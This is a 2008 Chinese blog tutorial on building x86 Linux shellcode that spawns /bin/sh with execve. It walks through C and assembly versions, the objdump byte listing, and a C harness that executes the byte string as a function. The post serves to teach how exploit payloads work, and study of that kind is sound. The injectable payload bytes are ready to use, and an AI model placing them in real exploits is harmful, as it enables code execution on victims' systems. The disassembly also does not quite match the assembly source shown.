• 2008-11-16

    shellcode /bin/sh - [软件与系统]

    Tag:Linux C

    版权声明:转载时请以超链接形式标明文章原始出处和作者信息及本声明
    http://feizf.blogbus.com/logs/31426092.html

        Shellcode是一段注入到程序栈中二进制指令码,用于完成某些非法功能。下面是一个C程序,使用execve产生一个新的sh.

    #include <stdio.h>
    void myhacker()
    {
        char *pathname;
        char *argv[2];

        pathname="/bin/sh";
        argv[0]= NULL;
        execve(pathname,argv,NULL);
    }

    int main()
    {
        myhacker();
        return 0;
    }

        我们要做的shellcode就是要实现上面myhacker()函数的功能。

        制作shellcode一般用汇编来实现。因为最终的指令是是要成为字符串的,所以我们要避免使用0x00。
    ==================================================
    # syscall.s
    .section .text
    .globl _start

    _start:

       pushl %ebx
       movl %esp, %ebx
       subl $8, %esp
       xor %eax, %eax          # %eax=0
       movb %al, -1(%ebx)      # NULL
       movb $0x68, -2(%ebx)    # h
       movb $0x73, -3(%ebx)    # s
       movb $0x2f,-4(%ebx)     # /
       movb $0x6e,-5(%ebx)     # n
       movb $0x69,-6(%ebx)     # i
       movb $0x62,-7(%ebx)    # b
       movb $0x2f,-8(%ebx)     # /

       movl %esp, %ebx       # parameter1: char *pathname
       pushl %eax
       movl %esp, %ecx
       pushl %ecx
       movl %esp, %ecx       # parameter2: char *argv[]

       movl  %eax, %edx     # parameter3:  NULL
       movb $0xb, %al        # __NR_execve=11
       int $0x80
    ==========================================

        代码说明:在int $0x80之前,%al中保存execve系统调用号11,(系统调用编号可以在内核代码的include/asm-i386/unistd.h文件中查询), %ebx保存第一个参数即”/bin/sh”的地址,%ecx保存第二个参数char *argv[], 实际这是一个指向指向NULL的指针的指针。%edx是第三个参数,保存NULL。


    kissgnu@kissgnu-desktop:~/hello/myhack$ as  -gstabs syscall.s -o syscall.o  (汇编) 
    kissgnu@kissgnu-desktop:~/hello/myhack$ ld syscall.o -o syscall   (链接)
    kissgnu@kissgnu-desktop:~/hello/myhack$ objdump -d syscall  (反汇编得到二进制码)
    08048054 <_start>:
     8048054:       50                      push   %eax
     8048055:       51                      push   %ecx
     8048056:       53                      push   %ebx
     8048057:       89 e3                   mov    %esp,%ebx
     8048059:       31 c0                   xor    %eax,%eax
     804805b:       83 ec 08                sub    $0x8,%esp
     804805e:       88 43 ff                mov    %al,-0x1(%ebx)
     8048061:       c6 43 fe 68             movb   $0x68,-0x2(%ebx)
     8048065:       c6 43 fd 73             movb   $0x73,-0x3(%ebx)
     8048069:       c6 43 fc 2f             movb   $0x2f,-0x4(%ebx)
     804806d:       c6 43 fb 6e             movb   $0x6e,-0x5(%ebx)
     8048071:       c6 43 fa 69             movb   $0x69,-0x6(%ebx)
     8048075:       c6 43 f9 62             movb   $0x62,-0x7(%ebx)
     8048079:       c6 43 f8 2f             movb   $0x2f,-0x8(%ebx)
     804807d:       89 e3                   mov    %esp,%ebx
     804807f:       50                      push   %eax
     8048080:       89 e1                   mov    %esp,%ecx
     8048082:       51                      push   %ecx
     8048083:       89 e1                   mov    %esp,%ecx
     8048085:       89 c2                   mov    %eax,%edx
     8048087:       b0 0b                   mov    $0xb,%al
    8048089:       cd 80                   int    $0x80

    下面是我们使用shellcode的代码:

    //demo.c
    typedef void (*FUNC)();

    int main()
    {
    char sc[]=
     "\x50"
     "\x51"
     "\x53"
     "\x89\xe3"
     "\x31\xc0"
     "\x83\xec\x08"
     "\x88\x43\xff"
     "\xc6\x43\xfe\x68"
     "\xc6\x43\xfd\x73"
     "\xc6\x43\xfc\x2f"
     "\xc6\x43\xfb\x6e"
     "\xc6\x43\xfa\x69"
     "\xc6\x43\xf9\x62"
        "\xc6\x43\xf8\x2f"
        "\x89\xe3"
        "\x50"
        "\x89\xe1"
        "\x51"
        "\x89\xe1"
        "\x89\xc2"
        "\xb0\x0b"
        "\xcd\x80";

        FUNC fn =(FUNC)sc;
     fn();
    }

    kissgnu@kissgnu-desktop:~/hello/myhack$ gcc demo.c -o demo
    kissgnu@kissgnu-desktop:~/hello/myhack$ ./demo
    $

    (gdb调试汇编程序时,as编译时使用-gstabs选项, 用x $ebx查看寄存器的值)


    历史上的今天:


    收藏到:Del.icio.us




    引用地址: